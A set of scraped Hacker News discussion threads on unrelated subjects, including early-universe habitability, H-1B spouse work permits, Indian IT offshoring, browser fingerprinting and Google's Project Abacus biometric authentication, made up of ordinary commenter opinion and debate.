</comment></comment></comment><comment><USER4> A very long time ago there was a brief time period of a few million years where there were no stars yet but the CMB radiation would've been dropping through the temperature range that was suitable for life. Just because there were no stars doesn't mean things were perfectly homegenous either.

<comment><USER5> Excuse my ignorance here, what period would this have been? Can you expand a little more on this?

<comment><USER4> The habitable epoch of the early Universe, Abraham Loeb, DOI: [https://doi.org/10.1017/S1473550414000196](https://doi.org/10.1017/S1473550414000196)

[https://arxiv.org/abs/1312.0613](https://arxiv.org/abs/1312.0613) , [https://www.cambridge.org/core/journals/international- journa...](https://www.cambridge.org/core/journals/international-journal-of- astrobiology/article/habitable-epoch-of-the-early- universe/114595C6E860A5002A9B783875602106)

>"In the redshift range 100≲(1+z)≲137, the cosmic microwave background (CMB) had a temperature of 273–373 K (0–100°C), allowing early rocky planets (if any existed) to have liquid water chemistry on their surface and be habitable, irrespective of their distance from a star. In the standard ΛCDM cosmology, the first star-forming halos within our Hubble volume started collapsing at these redshifts, allowing the chemistry of life to possibly begin when the Universe was merely 10–17 million years old. The possibility of life starting when the average matter density was a million times bigger than it is today is not in agreement with the anthropic explanation for the low value of the cosmological constant."

<comment><USER2> The water could have been liquid somewhere then, but it's still not the most probable time for life to emerge. The same author wrote in 2016:

[https://iopscience.iop.org/article/10.1088/1475-7516/2016/08...](https://iopscience.iop.org/article/10.1088/1475-7516/2016/08/040)

"We find that unless habitability around low mass stars is suppressed, life is _most likely_ to exist near ~ 0.1M⊙ stars _ten trillion years from now_. Spectroscopic searches for biosignatures in the atmospheres of transiting Earth-mass planets around low mass stars will determine whether present-day life is indeed premature or typical from a cosmic perspective."</comment></comment></comment></comment>


Martin Weitzman on the Economics of Climate Change - <AUTHOR> http://timharford.com/2019/10/how-this-climate-change-economist-changed-my-world/ <comment><USER2> I liked this a lot. But, having said that: the short write up glosses on the net present value vs investment outcome decision. Its a strong sell to the precautionary principle but without discussing the downside consequences for long-term rates of return if speculation is damped out (for instance) from an excess of precautions. I might add AGW stands as a bloody good reason to be a lot more cautious about future costs and risks of 'business as usual' decision making</comment>


A Business case for Indian offshoring to deploy its "bench" towards FOSS - <AUTHOR> http://sandeep.wordpress.com/2009/03/20/a-business-case-for-infosys-to-deploy-its-bench-towards-foss/ An open letter to several of India's IT offshoring companies, who are suffering the problem of too much idle manpower to utilize this lean period to contribute towards Free and Open Source Software and in the process gather free PR and Marketing, as well as expose their employees to excellent mentorship. <comment><USER2> Talking about the talent that is sitting on these (very) long benches...

First, lets look at how Microsoft structures its business in India. Even the mighty Microsoft follows a stratified talent pool system. They have 2 companies / teams here. The one that builds their products is called Microsoft R&D and the people there are _GOOD_. Whereas all their global internal IT systems needs are supported by Microsoft IT Services, which is staffed by simpler developers who are not good enough to contribute to products, but can cut all the HTML needed as well as make all the CURD applications that the business operations need.

Indian IT companies are no different, they have a small cadre of excellent developers, who form the core of their teams, and are very busy -- even now. The rest of the millions are poor developers, not algorithmically sound, but can make simple CURD applications.

Its this second layer that fills up the benches. And they are not going to be valuable contributors to any of the projects you've picked -- (unless of course you want coded an Add/Update form on the project's website ;)

If you look at the biggest revenue earners for Indian IT you'll realise its this kind of internal CURD applications. Why should an Indian IT company hire super smart developers, when it makes more by hiring (_and billing for_) many warm bodies who'll hand code stuff because they are not smart enough to create their own frameworks?

</comment><comment><USER3> IBM has its own business interests to contribute to FOSS, it would be interesting to know what interest FOSS could be for companies like Infosys. Open source contribution requires dedicated interest and a sense of community, which cannot be developed as a temporary option to work on while on bench. The people who might have already worked on FOSS stuff might be able to make some useful contribution, working on new stuff as a temporary option are unlikely to produce useful results

</comment><comment><USER4> I suggested this to my company chairman in 2001. I got a nice appreciation letter from the chairman. Actually nothing really happened after that.

</comment><comment><USER5> Good point. Never occurred to me. Doh.

I used to work for TCS at the start of my career. During those dot com bust days saw a lot of my colleagues working on internal projects. Open source was not a big draw those days.

Guess the FOSS community in India should take this up. Would be a good place to start.

</comment><comment><USER6> Expecting them to be able to work on llvm and MySql is... highly optimistic.

<comment><AUTHOR> Every project needs developers _and_ testers. Contributing to projects may take different avenues and opens up opportunities to climb higher on the development foodchain as their experience matures.</comment></comment>


Americans: Pay Your Taxes--Or Lose Your Passport - <AUTHOR> http://www.wsj.com/articles/americans-pay-your-taxes-or-lose-your-passport-1447971424 <comment><USER2> Keep in mind that the IRS is the only government agency that can charge you with a crime that you are presumed guilty of until you prove your innocence.</comment>


USCIS to End Work Permits for Spouses of H-1B Visa Holders [pdf] - <AUTHOR> https://www.judiciary.senate.gov/imo/media/doc/2018-04-04%20USCIS%20to%20CEG%20-%20Buy%20America%2C%20Hire%20America%20update.pdf <comment><USER3> Note that, in general, spouses of H-1B holders are not allowed to work. What this change would do is remove the "Employment Authorization for Certain H-4 Dependent Spouses" regulation from 2015, which said that if you hold an H-1B visa and you have an approved I-140 (application for permanent residency), then your spouse may work.

In most cases, if your application for permanent residency is approved, then you just immediately become a permanent resident and you and your spouse have the right to work regardless. The exception is if you come from China or India, where the number of immigrants have hit the statutory caps, and there is a waiting time (currently between 6 and 10 years, depending on the type of green card application [2]). So I think the upshot is that this will make things more difficult for Chinese and Indian green card applicants.

[1] [https://www.uscis.gov/working-united-states/temporary- worker...](https://www.uscis.gov/working-united-states/temporary- workers/employment-authorization-certain-h-4-dependent-spouses)

[2] [https://travel.state.gov/content/travel/en/legal/visa- law0/v...](https://travel.state.gov/content/travel/en/legal/visa-law0/visa- bulletin/2018/visa-bulletin-for-april-2018.html)

<comment><USER4> > In most cases, if your application for permanent residency is approved, then > you just immediately become a permanent resident

Except that process takes another year or so.

> So I think the upshot is that this will make things more difficult for > Chinese and Indian green card applicants.

Oh how wonderful, keep the lower classes down.

How delightfully racist.

edit: I'm sorry. TIL what upshot actually means.

<comment><USER5> Please don't be that guy and actually learn what the OP meant before jumping on the name calling wagon.

The usage of upshot simply means the final outcome - neither a good thing or a bad.

<comment><USER6> It is very confusingly worded. People nowadays often use it the same as "upside". I've been confused by this word before and this is what I found when I looked it up ([http://grammarist.com/usage/upshot/](http://grammarist.com/usage/upshot/)). The dictionaries still seem to only have the older definition but I've personally run into the newer definition more often in the wild.

<comment><USER4> That's the only one I've ever seen.

</comment></comment></comment></comment></comment><comment><USER7> Summary:

1\. Spouses of certain H1-B holders were allowed to work, without restrictions

2\. The restriction part is worth talking about. H1-B ties you to an employer, the H4-EAD doesn't. Along with that comes portability, and freedom - <USER2> that should not affect wage depreciation.

So - the proposal is to take away work privileges from honest, legal, tax paying individuals that (in theory) do not contribute to wage depreciation. At a time when social services are stretched, and with record low-unemployment, this seems like a bad idea for America, and lost tax wages for the government

<comment><USER8> > Spouses of certain H1-B holders were allowed to work, without restrictions

Specifically, those with approved petitions for permanent residency but who have not yet become permanent residents (because they are from a country where the per-country per-year visa limits in their immigration category have created a backlog.)

> So - the proposal is to take away work privileges from honest, legal, tax > paying individuals that (in theory) do not contribute to wage depreciation.

Why would you think that they are exceptions to the rule that added supply reduces market clearing cost?

> At a time when social services are stretched, and with record low- > unemployment, this seems like a bad idea for America, and lost tax wages for > the government

The idea is to make the conversion to permanent residence (and H-1B status itself) less attractive and get immigrants to voluntarily self-deport. It's a great idea if you are a xenophobic nativist, and it might have some small short-term benefits in terms of wages in some fields, until the jobs move overseas to follow the workers chased out.

<comment><USER7> "Why would you think that they are exceptions to the rule that added supply reduces market clearing cost?"

Wage deprecation (allegations) from H1-B isn't from an increased supply. It's from the lack of portability once employed. Optimally, every 3-5 years, a jump would result in higher wage growth than working for the same employer. The H4-EAD allows for free movement, alleviating this one sub category of wage deprecation.

<comment><USER8> > Wage deprecation (allegations) from H1-B isn't from an increased supply.

So, you think H-1B _as well as_ H-4 EAD are exceptions to the basic dynamics of supply and demand?

Even if you assume the immigrants involved have the same distribution of salary demands as the general American workforce, adding them to the domestic labor supply decreases market clearing costs for labor of the type they are available to do, all else being equal. (Of course, if they have lower salary demands, this is even more pronounced without a prevailing wage rule, which H-1B has but H-4 EAD does not.)

<comment><USER7> So you think the H1-B is a scheme to suppress wages with oversupply?

The H1-B's aim is to fill a _shortage_ of skilled labor. Annual caps exist explicitly to control supply and prevent wage depreciation.

The thing that wasn't accounted for was captivity of H1-B holders from certain countries who'd applied for their greencard. Given the long wait times, they are effectively enslaved to their employer. With reduced portability comes reduced wage increase

</comment></comment></comment></comment></comment><comment><USER9> The idea of the H-1B program as it was initially conceived was to hire specialists as 1) non-immigrants, temporary workers, with 2) competitive salaries, 3) with quotas.

About 1): Non-immigrant means a person that doesn't have an intention to stay. In practice, many people with H-1Bs end up applying for a green card. Meaning that most do have an intention to stay.

Note that grabbing a productive, educated, working-age professional from a country can be seen as a good thing. Similar to how large cities grab professionals from smaller cities.

About 2): The wage requirements were not updated for many years, not even for inflation and this resulted in a lot of people being hired for salaries that were lower than market value. This is bad for local workers.

About 3): Some companies like Infosys and Tata tricked the quota system by sending multiple applications per candidate until they got in. Personally I think that Infosys and Tata should have been penalized more aggressively.

Mostly because of 2 and 3 I think the system needed reform. About spouses I am mostly neutral.

Finally, there is more going on. There are a bunch of people interviewing at large companies violating interview NDAs and passing interview questions around in websites. The country of origin of most of those sites? India. While there is merit in learning CS, and there's merit in becoming a stronger software engineer, violating NDAs makes technical interviews harder for good faith applicants and is a good way to build a bad global reputation.

<comment><AUTHOR> > About 1): Non-immigrant means a person that doesn't have an intention to > stay. In practice, many people with H-1Bs end up applying for a green card. > Meaning that most do have an intention to stay.

H1B is dual intent (unlike, lets say F1). You are allowed to file for immigration if you want to.

> About 2): The wage requirements were not updated for many years, not even > for inflation and this resulted in a lot of people being hired for salaries > that were lower than market value. This is bad for local workers.

You are blindly comparing salaries of Bay Area and other tech hubs with salaries in midwest. In 98.7% of the cases, the companies with low salaries on H1B have employees in remote regions of USA with above average salary, or they work in different fields which have lower median salaries.

<comment><USER9> You are correct about the dual intent, I forgot that one. +1

Now, regarding the wages, that's a bit more controversial. IEEE-USA published this: [http://theinstitute.ieee.org/ieee- roundup/blogs/blog/ieeeusa...](http://theinstitute.ieee.org/ieee- roundup/blogs/blog/ieeeusas-stance-on-the-h1b-visa-program)

<comment><USER9> Now, some companies, like Tata, are extremely shady.

They demand employees to give them power of attorney, they force employees to let them calculate their tax returns, and demand that employees give them their federal and state tax refund money. Maybe this is no longer the case, but doesn't change the fact they're shady AF.

They could be possibly paying people less than what they're required to as well.

Source: "Who Cheats and How?: Scams, Fraud and the Dark Side of the Corporate World" By Robin Banerjee

Those guys should not be allowed to do business here.

</comment></comment></comment></comment><comment><USER10> yup. lets rob an engineers or biotech specialists ability to work. that will make this country great for certain.

<comment><USER9> You can blame the bad actors like Infosys and Tata for ruining it for everyone.

<comment><USER11> I have always found this argument to be very weird. The US has full knowledge of a handful of companies (IBM, Infosys, etc) that are exploiting the h1b system.

Why bring round about changes that hurt the MIT grad as much as a random code shop employee bought in by Infosys ? Why not directly target these abusers ? Why not have an element on merit when evaluating PR requests ? Australia does it, and it works pretty well. A degree from an R1 institute / high compensation / English tests are all possible ways to go about it. Why not clamp down on universities like Northwestern Polytechnic University to avoid bogus F1 students in the first place ?

Affirmative action, means it is already easy for underrepresented communities to get admitted to get admitted to CS programs. Diversity programs makes getting jobs a lot simpler for such groups as well. It is not like Asians & Indians are unjustly taking away jobs from good and honest hard working Americans. The ones making big bucks are the best students from 2 countries with an unbelievable amount of competition.

You know what the most funny thing is ? Most Infosys employees usually don't earn enough to have better QOL to settle with their wives in the US. These guys are all sending money back home. It is the top university grads who don't get the same kind of compensation in India, that will look to settle with their family in the US. This change might actually have the opposite of it's intended effect.

That is assuming that it is not based just blatant xenophobia.

<comment><USER9> Students visas are a different discussion.

Today, most graduate students are foreign. Letting those go is a huge brain drain. Ideally you want them to stay and transfer their knowledge through work.</comment></comment></comment></comment>


Ask HN: Should I open-source my free iOS app when I publish it in the App Store? - <AUTHOR> I am working on a free app that I am going to publish on App Store, as my first attempt to get to the iOS apps market.
It's going to be a better (in my dreams and hopes) version of an existing app. Put simple, it will be a messaging app.
I wonder if it will have more cons or pros, which is surely debatable, if I open-source it and all its new versions while I am working on further improvements. Pros I imagine are better bugs catching, in case people are interested in improving it, getting advice how to improve its structure. Cons, as one can worry, are if some shady tod decides to use the source to build his own clone of the app and publish on the App Store with his own goals. I am not so worried about this because I am sure it's much more to do on the path to success than just changing icons and labels, compiling and publishing.
Please share your thoughts on this dilemma. <comment><USER2> Honestly, I'd say go for it, open-source it. Like you said, a successful app's more than just changing icons and the like!

One tip - maybe you could think about constructing a tutorial of sorts around your app's codebase? Something like this: [https://mackenziechild.me/12-in-12/](https://mackenziechild.me/12-in-12/)</comment>


Clojure Is Simple (2017) - <AUTHOR> https://medium.com/@swlkr/clojure-is-simple-9cd0b101460d <comment><USER2> A very important caveat: Clojure compilation is not side-effect free. If you are generating the JVM equivalent of a binary (excluding the assumption of stuff like GraalVM) i.e. a überjar, you are going to have a bad day if your code does stuff like edit configuration files, call a JSON API etc. The code would run during the compilation stage. Something to take note of.

<comment><USER3> That's false, building an uberjar has nothing to do wit that. If you're packaging an application typically your -main needs to be AOT compiled, that's why you put :gen-class in your ns declaration. That namespace will get AOT compiled. This still doesn't pose any issues since you shouldn't be doing such side effects in the toplevel. So

        (alter-config-file!)

is bad because that code will run during compilation, but in

        (defn -main [& args]
          (alter-config-file!)
          (app!))

it will run only after calling -main.

<comment><USER2> Evaluation != Compilation that outputs a binary. This is what happens when language authors become overly obsessed with the elegance of SICP and completely forget how to slay dragons, properly.</comment></comment></comment>


Online services security report card - <AUTHOR> https://www.digitalsociety.org/2010/11/online-services-security-report-card

<comment><AUTHOR> Kinda ironic that the report site's SSL connection is only "partially encrypted".</comment>


Smoke Has Caused Temperature Forecasts to Go Crazy - <AUTHOR> https://cliffmass.blogspot.com/2020/09/smoke-has-caused-temperature-forecasts.html <comment><USER2> I'm 500 miles or so North of the US/Canada border and the smoke dimmed out the sun a couple hours before sunset.</comment>


EFF Launches Panopticlick 2.0 - <AUTHOR> https://panopticlick.eff.org/#2 <comment><USER2> [https://news.ycombinator.com/item?id=10753087](https://news.ycombinator.com/item?id=10753087)

</comment><comment><USER3> I have used the previous version several times over the years across computers, operating systems and browsers. My worry was always about browser fingerprinting, which meant that using a popular configuration like Windows XP/7 with IE 6/7/8 would help "hide in the crowds and not stand out" better than other choices would.

Even with this new version of Panopticlick and its associated help pages, it's disturbing to know that browser fingerprinting cannot be completely defeated.

In the help page, the recommended limited effect approaches to handle browser fingerprinting are:

1\. Use Tor - this is probably useless for most people due to the low speed of browsing (I know everyone has to pitch in to share bandwidth with others, but this is not an easy compromise at all).

2\. Use Privacy Badger - I do use it with Firefox and Chrome, but it's not available for other browsers, which is not ideal for me.

3\. Use NoScript - I tried this a long time ago and found that it crippled almost every site I regularly visited. I realized this was too heavy and cumbersome a solution. I can easily recommend uBlock Origin and Privacy Badger to other non-technical people, knowing that those _wouldn 't usually_ cause issues with websites. But it's not possible to recommend NoScript to non- technical users who just want to get things done.

My earlier conclusion on browser fingerprinting was that ironically, it usually traps the more technical and privacy oriented people who may use more of the unpopular solutions in order to derive privacy and security related benefits.

I wish there were easier ways to defeat browser fingerprinting, because we may not even know which sites are using it to track us (unlike say, cookies or super cookies, where the evidence is usually visible).

<comment><USER4> I use NoScript daily and while it requires a bit of interaction the first time you visit a website it really isn't that hard to use. Just allowing the TLD and any obvious CDNs covers about 95% of all websites. If you do run across some website that is just horribly busted, there's always the "allow all temporarily" button, but I find it is extremely rare that I have to resort to that. And the times that I have I usually discover that it is in fact the website that is broken, not my browser settings.

<comment><USER3> > Just allowing the TLD and any obvious CDNs covers about 95% of all websites.

I know about the options NoScript provides, but I see this statement itself as part of the problem. If we just whitelist sites that we use and see (to have them work), we're not really stopping tracking, are we? We're just guarding against unknown sites. Most people visit perhaps 10 major sites on a regular basis everyday, and all the popular ones that people would whitelist use trackers.

I'm not denying the benefit of being protected from unknown, obscure and malicious sites that we may land in once in a while and things like XSS protection, but that alone is not enough in this context.

What we need is either a trusted block-list for NoScript that's updated periodically, similar to block-lists that exist for ad-blockers, or some other mechanism that can curb the tracking potential of scripts (I don't know the answer for the latter).

<comment><USER4> You obviously don't whitelist google-analytics.com or facebook.net.

</comment></comment></comment></comment><comment><USER5> More information about what has changed: [https://www.eff.org/deeplinks/2015/12/panopticlick-20-launch...](https://www.eff.org/deeplinks/2015/12/panopticlick-20-launches- featuring-new-tracker-protection-and-fingerprinting-tests)

Some discussion yesterday: [https://news.ycombinator.com/item?id=10753087](https://news.ycombinator.com/item?id=10753087)

</comment><comment><USER6> The tool notes a browser's lack of support for analyzing compliance with "Do Not Track" as a negative _(red X)_.

This is interesting because IMO, "Do Not Track" is basically another flavor of Trusted Computing, which the EFF has been critical of before.

<comment><USER7> Care to elaborate? EFF is a supporter of Do Not Track.

[https://www.eff.org/pages/understanding-effs-do-not-track- po...](https://www.eff.org/pages/understanding-effs-do-not-track-policy- universal-opt-out-tracking)

<comment><USER6> Yes, I understand. I just have a dim view of any sort of tracking at this point, even if it's a voluntary "nice" kind -- and in general I don't think it encourages a healthy privacy mentality.

</comment></comment></comment><comment><USER8> This is another tool that might come handy: [http://www.canyoutrackme.com/](http://www.canyoutrackme.com/)

It checks if you really lose cookies and supercookies on browser exit.

</comment><comment><USER9>
        > your browser has a nearly-
        > unique fingerprint

Must be one of the few iPhone 6+s users in Germany O_o

<comment><USER10> "one in x browsers have this value" "6193830.0"

"User Agent" "Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"

OK then. I suppose this implies I was the 6193830-st person to run it from a desktop like mine.

<comment><USER11> Nope, I interpret it as: 6193829 people reached the site before you, but had different values. Or: 2x6193830 people reached it, and one of the those had the same value as you...

</comment></comment></comment><comment><USER12> Canvas fingerprinting was a new one to me: [https://www.browserleaks.com/canvas](https://www.browserleaks.com/canvas)

"The method is based on the fact that the same canvas-code can produce different pixels on a different web browsers, depending on the system on which it was executed."

</comment><comment><USER13> I really like their humor - the share buttons on the results page are a wonderful piece of satirical reality.

</comment><comment><USER14> Do i win if i cant even turn on the test because of my addons? (noscripts, RequestPolicy, Ublock Origin)

</comment><comment><USER15> Is any one else not being able to complete this? Fingerprinting is stuck for me in an endless loop, Chrome 47 custom user agent and Canvas fingerprinting is blocked.</comment>


Project Abacus: Google's plan to kill the password via biometric tracking - <AUTHOR> http://www.engadget.com/2016/01/15/googles-creepy-plan-to-kill-the-password/ <comment><USER2> (disclosure: I am a Googler, but I have nothing to do with this project)

Passwords are problematic, easy to lose, easy to steal, but an issue with biometric identify verification is that you can no longer maintain multiple personas. Using a password with 2FA, you can quite easily maintain two sets of those credentials, assuming that the authority doesn't demand proof of real name or such nonsense.

If you trust the authority, it's no big deal. And, I trust Google... today. But do I trust Google tomorrow? I don't yet know tomorrow's Google.

<comment><USER3> >I trust Google... today.

This is really hard problem for our society. A lot of people say 'nothing to hide', most people don't have a problem with gov. surveillance, only because we live in a semi-democratic countries and a lot of them were not hurt by communistic governments. People in Germany and Poland look differently at such things, they still remember Stasi (Ger) and SB with WRON(Pl). Clearly our governments want more power and information and it's not for our safety, this situation is reminding people that communism can be turned into democracy, and democracy into communism, very quickly.

<comment><USER4> I think most people understand your last point as you meant it, but Democracy and communism are Apples and Oranges.

</comment></comment></comment><comment><USER5> > And then we have fingerprints, which are very secure and onerous to imitate

Fingerprints are SO EASY to imitate that I taught a group of 10-12 years old to do it successfully with something as simple as a drinking cup, superglue an smartphone and a SLA printer.

You can cheat the Iphone sensor with no problems.

Everything you touch has your fingerprint on it. Secure! Ha!

A fingerprint taken from you works today and works tomorrow and it will work forever.

I prefer passwords or tokens that I could change, that you very much.

What Google wants it to do surveillance on everyone all day long. Their interest are different from ours.

</comment><comment><USER6> > Cisco engineer Shawn Cooley countered him saying, "very cool until I break > my leg or hand & can't auth to any services to get healthcare info since my > behavior is diff." Messina said, "you presume that your health records > aren't being managed by Verily. You would be wrong."

So Verily would be automatically sharing information with Abacus to modulate its user identification, and they feel can just start doing that because it's also an Alphabet company.

This sets off alarm bells in my head. Is this the attitude toward privacy and data isolation at Alphabet/Google? How long until these health records are also shared with Google's advertising department? It tells me that they have no business managing health records at all.

<comment><USER7> > Is this the attitude toward privacy and data isolation at Alphabet/Google?

It is a Twitter remark by an ex-Googler who had nothing to do with Abacus and never worked at Verily. That is, some combination of snark and wild-ass speculation.

</comment></comment><comment><USER8> The server side of major services already perform some very sophisticated probablistic authentication mechanisms. Ever had Google or facebook ask you to sign in again when you got off a flight or accessed a sensitive setting? You've experienced it firsthand.

Taking it down to the device level is just acknowledging the danger of loss or stolen second factors. Further, frameworks like tensorflow may allow the learning model to run directly on your phone, alleviating a lot of the concerns enumerated in this article.

<comment><USER9> I've never been prompted to reauthenticate to Facebook or Google based on travel, actually, and if I was, I would be paranoid about a MITM attack. Has this happened to anyone?

<comment><USER10> Facebook in the past has required me to authenticate during travel by showing me pictures in which my friends are tagged, and asking me to name them. Of course this was made more difficult by my friends' tendencies to abuse the image tagging feature...

</comment></comment></comment><comment><USER11> > And then we have fingerprints, which are very secure and onerous to imitate

Aaaaand there goes the article's credibility. A pity, because there's a real need for a cogent debate about this panopticon-as-password program.

<comment><USER9> The best thing about fingerprint authentication is that you can (literally) hack up a way for up to ten people to share a device.

<comment><USER12> You also can (literally) cut access to service.

</comment></comment></comment><comment><USER13> The real problem is that bio-metrics are basically unchangeable. As soon as a database gets hacked or stolen, or whatever device does the recording has a vulnerability, your security with such systems is compromised forever -- not just at the original place that was breached, but with everyone else who uses the same metrics.

<comment><USER14> Yes - my rule is that if the other side knows you're using biometrics, the system is too dangerous to use.

The weird part is how unnecessary the Mission Impossible stuff is: replacing passwords is a legacy hassle so if you're going to do that there's no reason not to do so with a flexible public key design which doesn't make assumptions about the client hardware and can be patched when it's compromised. (Biometrics might be a fine usability option for the client store)

</comment></comment><comment><USER15> I am glad that Google is not focusing _exclusively_ on using biometric factors to implement two or more factor authentication solutions these days, because there are quite a lot of valid arguments against widespread use of it. Biometric properties are limited in number (couple of irises, bunch of fingers), cannot be replaced (at least not with a replacement that can serve as a biometric source of identification), cannot be shared (voluntarily), and are considered by many as an unreasonably invasive manner of identifying yourself. Needless to say that the notion of a microphone analysing my every move and utterance sounds like something from a dystopian sci-fi novel.

Instead of using biometric properties as a second factor, I find user-friendly and reusable hardware tokens to be very much preferable. Fortunately Google is also a backer of FIDO U2F, which outlines a standard for hardware tokens the size of a thumb — but unlike your actual meaty appendages, it is replaceable and not quite as bloody to lend to someone in case he or she has a valid reason to access your accounts for you. These work with USB, NFC, and Bluetooth LTE, on any OS, with (soon) any modern browser (currently only Chrome supports it, but Mozilla is committed to implement this technique in Firefox as well), and can be used for an infinite number of services; without the token being identifiable across services.

Succeed in making having one of these tokens on your (physical!) key-chain as common as having the key your front door there, and use the economy of scale to make these tokens as cheap as a happy meal; _that_ would be an acceptable way to beef up security for Joe Sixpack and privacy conscious netizens alike, but leave my body alone.

</comment><comment><USER16> Calling it a trust score instead of a confidence score was pretty stupid of them and lends to the whole creepy vibe mentioned in the title.

<comment><USER17> "Login failed. You are only 23% you. Please be more you to login again."

</comment></comment><comment><USER18> Maybe it's too obvious or maybe I'm completely missing something, but seems a "fatal flaw" in this scheme is the fact that not everyone owns a smartphone, or even uses web services enough to develop much of an identifiable "profile". Smartphones are fragile, easily lost, not always available or reliable, making their use for the purpose seem far less than optimum.

Furthermore, how high a level of security is needed depends on the situation. Sometimes passwords guard fairly trivial risk exposure, like belonging to some newsgroup to make occasional comments. Hardly any personal info to leak in such cases and simple measures will do just fine.

OTOH my health records needs to be protected far more vigorously, but why would I trust that security to a third party entity like Google? I'd much rather have security for the EHR managed within the EHR system itself, and whatever is adopted, I doubt it would look a whole lot like what's proposed in the article.

<comment> FLUX-YOU > I'd much rather have security for the EHR managed within the EHR system > itself

I would trust Google's security team over most EHRs. I base this on finding a few sql injection flaws and single DES usage in one I worked on but I don't have broad experience in many EHRs.

<comment><USER18> Yeah, I know some EHRs have been attacked re: inadequate security, though AFAIK major vendors in my local area seem to have been doing OK recently. However, it only takes small errors here or there to open up significant holes, a fact I've brought up many times when discussing "interoperability" among EHRs, a favorite subject of governmental planners.

I think the problem trusting Google might not lie with their "security team" (they probably have a number of such teams), but rather with privacy policies and guarantees. IOW Google is no doubt capable of providing security, questions arise about enforcing constraints necessary to assure the high level of privacy required by EHR systems.

</comment></comment></comment><comment><USER19> Nowhere in this thread/article is any mention of the Credential Management draft[0]. This is something I expect to see in canary in the next yr and a half.

[0] - [http://w3c.github.io/webappsec-credential- management/](http://w3c.github.io/webappsec-credential-management/)

</comment><comment><USER14> Has anyone published precise technical details about what this actually does? The writeup here makes it sound like it's being pitched as a replacement for network logins or two-factor authentication, which would be an unmitigated disaster – can't rekey, client compromises are irrecoverable, etc.

There's certainly a tradition of academics without security experience pitching that concept but it'd be surprising for it to get very far at Google given how many qualified security people work there and the actual YouTube video makes it sound like this is just being pitched as an alternative phone unlock mechanism.

I don't see anything in there suggesting that it's being pitched as a replacement for either network passwords or two-factor authentication. Has anyone seen another source for anything that leaves the device or is this just a reporter jumping to conclusions?

</comment><comment><USER20> This sounds bad. We are already forced to use almost exact voice to give voice commands. Now we will be forced to walk the same, speak every so even if you are alone in the room and be sure we dont break our habits. For me this sounds bad. I will be waiting for Google to prove me I am mistaken.

<comment><USER16> If you combined this with multifactor authentication (e.g. fallback to a password for a 100% trust score), it could potentially match your change in biometrics against a diagnostics knowledge base and use any new data following to further train the diagnostics knowledge base. Of course, that would have to be opt-in with patient confidentiality as strongly defended as possible (there needs to be laws and regulations defending privacy with this model), but it would be an interesting source of data collection.

</comment></comment><comment><USER21> There's still a lot that can be done to improve passwords without eliminating them. Perhaps the single biggest step is to encourage password managers that can auto-generate strong passwords. I seem to recall an article recently showing that the biggest difference between normal people and security professionals was the use of password managers.

<comment><USER22> Password managers could be included with the OS - like notepad. But deep integration with the OS would be bad.

<comment><USER2> It's not clear to me what you're suggesting - your two statements are, at least superficially, at odds with one another.

<comment><USER23> The difference I'm guessing is deep integration would be like IE and Windows in the pre lawsuit days.

Basically, OSes should come with a password manager app by default, but users can download their own to replace it which would replace the default one. Much like how you can set your default browser on desktop OSes.

<comment><USER22> Yup that's what I was saying.

</comment></comment></comment></comment></comment><comment><USER24> This is disconcerting. I don't like the idea of biometric and other characteristic data being used to identify me, but at least with fingerprint sensors, retina scanners and other such devices I am aware what is happening and give consent each time. This system proposes to silently identify me by the way I type, click or use a device, constantly learning and improving. No doubt the processed data, like a signature, will reside in the cloud and eventually be used identify users on any device they happen to be using. Convenience above all else, yet again.

</comment><comment><USER25> I didn't watch the linked I/O presentation, but I clicked through to the Ars Technica article. Are there any details that suggest this would be more than just v2 of fingerprint unlock?

aka optional, local and circumventable with a password if my fingerprint isn't recognized?

</comment><comment><USER26> I recently changed internet providers, and now google refuses to let me access my account from home.

I've tried telling google it was me attempting access, but no luck. They still forbid access.

</comment><comment><USER27> Why not simply use a smartwatch in a 2FA approach.

<comment><USER15> Probably because hardly anyone owns one. They are luxury items.</comment></comment>


Ask HN: Why do I need a double return when typing a comment? - <AUTHOR>

When writing a comment, to get to a new line you have to press return twice. I always forget this and end up editing my comment. What is the reason for this behaviour?<p>FF29 on Win7 btw. <comment><USER2> I speak with no special knowledge, simply being a user of the system. I have, however, written systems that take user input through web browsers, and have made decisions like this, so I thought I would suggest a reason.

In HTML, a new line does not imply a new line in the rendered text. Thus there is a precedent.

When typing text into a browser TEXTAREA, it can be useful to insert new-lines to aid readability, but those newlines might not correspond to where you would want new-lines in text when rendered. Instead, you would want the text to flow, and only get new lines where you have a paragraph break.

So you need to allow the user to put new-lines in the browser textarea without them creating newlines in the rendered text, and you want some way to allow the user to specify paragraphs in the rendered text.

The existing system of typing plain text with newlines in the browser for readability and blank lines for new paragraphs is completely natural to me. In typing this I've added new lines for readability, and left blank lines for paragraphs.

It seems a good compromise to me.

Here's what it looks like in my browser TEXTAREA:

        I speak with no special knowledge, simply being a user of the
        system. I have, however, written systems that take user input
        through web browsers, and have made decisions like this, so I
        thought I would suggest a reason.

        In HTML, a new line does not imply a new line in the rendered
        text.  Thus there is a precedent.

        When typing text into a browser TEXTAREA, it can be useful to
        insert new-lines to aid readability, but those newlines might
        not correspond to where you would want new-lines in text when
        rendered.  Instead, you would want the text to flow, and only
        get new lines where you have a paragraph break.

        So you need to allow the user to put new-lines in the browser
        textarea without them creating newlines in the rendered text,
        and you want some way to allow the user to specify paragraphs
        in the rendered text.

        The existing system of typing plain text with newlines in the
        browser for readability and blank lines for new paragraphs is
        completely natural to me. In typing this I've added new lines
        for readability, and left blank lines for paragraphs.

        It seems a good compromise to me.

_EDIT: I seem to recall that some browsers - probably ancient ones - used to insert CR into text lines from TEXTAREA fields, possibly after 254 characters or something. Can anyone confirm that? My Google-fu is failing me, and I could simply be wrong. Alternatively, it 's so old that no one knows or remembers._

<comment><USER3> When would you ever add a new line in the comment box and not intend it to render as a new line, though?

<comment><USER2> Often. Why would you type endlessly long lines in a browser text area without inserting the occasion new-line to aid readability in that text area?

I've seen people do this. I start to get anxious, wondering when they will _ever_ hit the return key, wondering why they don't. I simply don't understand why people do that.

Why don't you? You don't expect CR/LF in HTML to render in the browser, and you format the HTML to read more easily, don't you?

<comment><USER3> Admittedly, because i'm lazy and don't think about formatting posts unless i'm posting code, which is a bad habit. But still, every time I do hit enter in this textbox, it should create a newline in the formatted post.

[edit - I added a newline between those two sentences, it's rendered as a single line.]

<comment><USER2>
      > ... every time I do hit enter in this
      > textbox, it should create a newline ...
                 ^^^^^^^^^

This is your expectation. It is not my expectation. I do not believe that every time one hits enter in the text box it should create a newline in the formatted post.

